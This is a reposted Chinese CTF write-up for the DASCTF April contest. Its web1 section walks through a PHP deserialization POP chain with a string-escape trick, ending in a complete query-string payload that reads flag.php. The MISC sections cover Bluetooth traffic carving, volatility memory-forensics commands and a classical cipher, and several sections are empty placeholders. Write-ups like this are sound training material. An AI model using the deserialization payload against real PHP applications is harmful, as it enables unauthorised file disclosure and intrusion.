安恒DASCTF 四月战 WP

2024-01-14 06:20
文章标签 wp dasctf 四月 安恒

本文主要是介绍安恒DASCTF 四月战 WP,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 web1

打开提就是源码审计
考点:反序列化POP链、反序列化字符串逃逸
show_source("index.php");
function write($data) {return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{public $username;public $password;function __construct($a, $b){$this->username = $a;$this->password = $b;}
}
class B{public $b = 'gqy';function __destruct(){$c = 'a'.$this->b;echo $c;}
}
class C{public $c;function __toString(){//flag.phpecho file_get_contents($this->c);return 'nice';}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

 

通过大致分析我们发现最终利用点在C类中 我们先看一下C类 有个_toString() 它的意思是:当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用 然后我们需要让里面的$c变量的值变成flag.php 而这里的问题来了我们如何实例化它??? 我们如何触发__toString方法???
审计B类 B类有个__destruct 方法它的意思就是当对象被销毁时自动调用  方法内输出变量c  
在B类有个字符串的拼接操作 $c='a'.$this->b 先执行$this->b时实例化了此处的$b属性在实例化时会触发C对象即 触发__toString方法打印出flag
但是问题又来了 如何实例化类B呢???
审计类A  类A通过GET传值实例化 所以我们要让类A来实例化类B 这样就构成了POP链
先来大致构造下程序逻辑 
模拟POP链  我们的想法是反序列化后首先通过A实例化了B 而比里面的$b里面的b变量是C 实例化了C类 C类被实例化执行__toString()函数 也就输出了我们的falg
得到 
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
得到了序列化的值 我们此时当然通过这个当做payload穿进去肯定是不行的因为不符合规范 我们再审计看看有没有方法构造长度膨胀让不需要的部分进行逃逸
参考: https://www.cnblogs.com/xhds/p/12393686.html
测试传入1和2  这个是正常的序列化所以我们要构造这样的格式序列化
所以我们得构造能让蓝色部分的长度等于红色部分 这样我们绿的的部分就可以进行正常拼接了 这样的一个序列化字符串  
O:1:"A":2:{s:8:"username";s: 1:" 1";s:8:"password";s:1:" 2";}
我们可以通过这两个方法实现  \0\0\0是3个字符串二 chr(0)*chr(0)==空字符*空字符  所以是三个字符  所以我们数一下上面的红色序列化代码的部分的字符串是多少个 可以使用strlen()直接计算或者数吧。。。  我数了一下24个 所以我们要通过\0\0\0传入username让它转换成 chr(0)*chr(0) 没传一个\0\0\0  上面蓝色的部分旧货多空出来3就会吃掉红色部分3个字符串 3X8=24 所以我们需要传入8个\0\0\0
最终payload:
a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
分析下内部的过程
先构建A->B->C的链条 传入payload。。
$a = new A('\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}');
print_r(serialize($a));
print_r(write(serialize($a)));
print_r(read(write(serialize($a))));
print_r(unserialize(read(write(serialize($a)))));
在我们传入payload首先进行序列化
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:73:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
之后要经过write()函数 此时我们红色部分为48个字符串
O:1:"A":2:{s:8:"username";s:48:" \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:73:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
之后要经过read()函数进行替换  此时红色部分看起来像8个字符串实际上是每个字符左右两边都有空字符(chr(0))所以是24个字符串 我们继续看我们的蓝色部分为48那就说明它还会继续往后面匹配24个字符直到达到48为止 也就是匹配我们的橙色部分 这样剩下的拼接后就能正常的进行反序列化 输出我们的flag了。
O:1:"A":2:{s:8:"username";s: 48:" ******** ";s:8:"password";s:73:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

 

web2 

1

 MISC-6G还远吗?

下载几十秒  终止下载 记事本打开查找flag即可

 MISC-blueshark

Can you dig something you want out from the sea-colored beautiful shark?
流量分析emm  完全不会直接看wp走起 最后发现MISC好简单 分又多web好难分又低   这些都不是理由  是我太垃圾了hhhh
这时一个蓝牙协议流量
Ctrl+F  搜索压缩包 7z.....
选中7z开头即可导出 文件->导出分组字节流(Ctrl+Shift+x) 后缀为7z即可
压缩包需要密码 看到里面文件信息有提示信息 搜索pin
得到密码14185  解开压缩包 得到flag

MISC-keyboard

解压压缩包得到两个文件
raw文件即镜像文件  wp说是内存取证题
使用volatility提取文件
 
#查看镜像版本
volatility -f Keyboard.raw imageinfo
#直接定向检索txt文件
volatility -f Keyboard.raw --profile=Win7SP0x64 filescan | grep -E 'txt'
#将其dump下来
volatility -f Keyboard.raw --profile=Win7SP0x64 dumpfiles -Q 0x000000003d700880 -D ./
是一个dat为后缀的文件
使用strings命令可以查看内容
得到如下信息
红色部分就是我们的密文  红色上面的哪一行也提示了在ctfwikiCRYPTO中 所以解密去。。
倒数第二行提示了密码为大写
2020- 3-29 22:35:25
[BP][BP][BP][BP]hhhhh flag is not n[BP]here
2020- 3-29 22:35:30
2020- 3-29 22:36:41
ctfwikiCRYPTO ABC
CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA
2020- 3-29 22:37:23
[BP][BP]decrypto hou xiao xie geng[BP][BP] yi kan chu
2020- 3-29 22:39:24
But the password is in uppercase
2020- 3-29 22:38:55
我们按照这个来解密。。。
https://ctf-wiki.github.io/ctf-wiki/crypto/classical/others-zh/#_25
得到明文
1. 大写:VERACRYPTPASSWORDISKEYBOARDDRAOBYEK
2. 小写:veracryptpasswordiskeyboarddraobyek
意思是VeraCrypt的密码为keyboarddraobyek 之前的txt中还提示了密码为大写
使用VeraCrypt这个工具挂载加密卷 密码是刚才解密出的密文 
.....
内存取证工具volatility用法与实战
参考学习
http://shaobaobaoer.cn/archives/693/memory-forensics-tool-volatility-usage-and-practice

http://www.fzwjscj.xyz/index.php/archives/25/#misc3

https://shimo.im/docs/9p6WDq3YchjTycGh

MISC-AWDshell

1

MISC-blueshark

1

这篇关于安恒DASCTF 四月战 WP的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/604197

相关文章

BUUCTF PWN wp--bjdctf_2020_babystack

第一步   checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack) 分析一下这个二进制保护机制: Arch: amd64-64-little 这表示二进制文件是为64位AMD处理器设计的,使用的是小端序(little-endian)格式。RELRO: Partial RELRO RELRO(Relocation Read-Only)是一种安全特性,旨

WordPress 后台缓存插件:WP Admin Cache提高缓存页面

使用WordPress建站会安装一些静态缓存插件,比如:WP Rocket、Cache Enabler、Comet Cache、W3 Total Cache、WP Super Cache、WP Fastest Cache、Hyper Cache等等,这些都用于缓存前端。 今天介绍一款专门用于缓存后台的插件:WP Admin Cache。 启用后,提速效果还是很明显,比如后台所有文章页面秒开

玄机——第九章-Where-1S-tHe-Hacker wp

文章目录 一、前言二、概览三、参考文章四、步骤(解析)准备步骤#1.0步骤#1通过本地 PC RDP到服务器并且找到黑客ID 为多少,将黑客ID 作为 FLAG 提交; 步骤#2通过本地 PC RDP到服务器并且找到黑客在什么时间修改了网站主页,将黑客修改了网站主页的时间 作为 FLAG 提交(y-m-d-4:22:33); 步骤#3通过本地 PC RDP到服务器并且找到黑客第一个websh

英语总结——四月

以前每个月写英语总结的时候,都感觉心里非常的愧疚和不安,伴随的是心里暗暗的下定决心,下一个月一定要坚持好好的学习英语,但是到下一个月的时候总是就学习前几天然后就放弃,所以每个月学习英语的时间都非常少,其实我们不学习英语不是因为因为没有时间,而是不想去学习。这是我们这一类人的通病。所以对于没有学习英语的我们这一类人不用听我们解释,一个原因就是我们不想学罢了。

wp-autopost-pro 3.7.8最新完美版

插件简介: 插件是wp-autopost-pro 3.7.8最新版本。 采集插件适用对象 1、刚建的wordpress站点内容比较少,希望尽快有比较丰富的内容; 2、热点内容自动采集并自动发布; 3、定时采集,手动采集发布或保存到草稿; 4、css样式规则,能更精确的采集需要的内容。 5、伪原创与翻译、代理IP进行采集、保存Cookie记录; 6、可采集内容到自定义栏目 代码下载

玄机——第九章-Where-1S-tHe-Hacker-part2 wp

文章目录 一、前言二、概览三、参考文章四、步骤准备步骤#1.0步骤#11.最早的WebShell落地时间是(时间格式统一为:2022/12/12/2:22:22); 步骤#22.黑客最早的WebShell密码是多少,将WebShell密码作为Flag值提交; 步骤#33.CobaltStrike木马被添加进计划任务的时间是 步骤#44.黑客启用并添加进管理员组的用户与时间是 答案格式:Use

攻防世界-web题型-7星难度汇总-个人wp

Web_php_wrong_nginx_config 这个题目nginx配置错误 随便输入显示网站还没建设好。。。 先信息收集一下 换了个无敌好看的终端 没想到7星了还玩这些。。。 看了admin的页面需要先登录 现在的问题是如果读取到这个文件 这个hack的文件也没有东西 到此就不知道了,看wp 没想到在hack的cookie里,我看了cookie我当时看到l

攻防世界-web题型-8星难度汇总-个人wp

Triangle 2024/02/21 15:19 粗略看了一下应该是一个前端的is验证的情况 这几个函数都在secret.js里面 要js逆向废了 相当麻烦我先看一看wp 看了wp确定是js逆向还有涉及一个unicorn,看了介绍的文章是用来仿真CPU架构的,可以加快资源的加载吧好像是。 看代码if(test_pw(enc, pw) == 1){         alert('

攻防世界-web题型-2星难度汇总-个人wp

command_execution 典型的SSRF,先用命令找一下flag在哪里 xff_referer 修改一下xff和refere就可以了 php_rce 经典的thinkphp框架,闭着眼睛拿工具梭 这款工具无法直接getshell换一个 拿蚁剑直接连 Web_php_include 先分析代码 while (strstr($page,

2024年网络安全最新CTF_WP-攻防世界web题解

给大家的福利 零基础入门 对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。 同时每个成长路线对应的板块都有配套的视频提供: 因篇幅有限,仅展示部分资料 网络安全面试题 绿盟护网行动 还有大家最喜欢的黑客技术 网络安全源码合集+工具包 所有资料共282G,朋友们如果有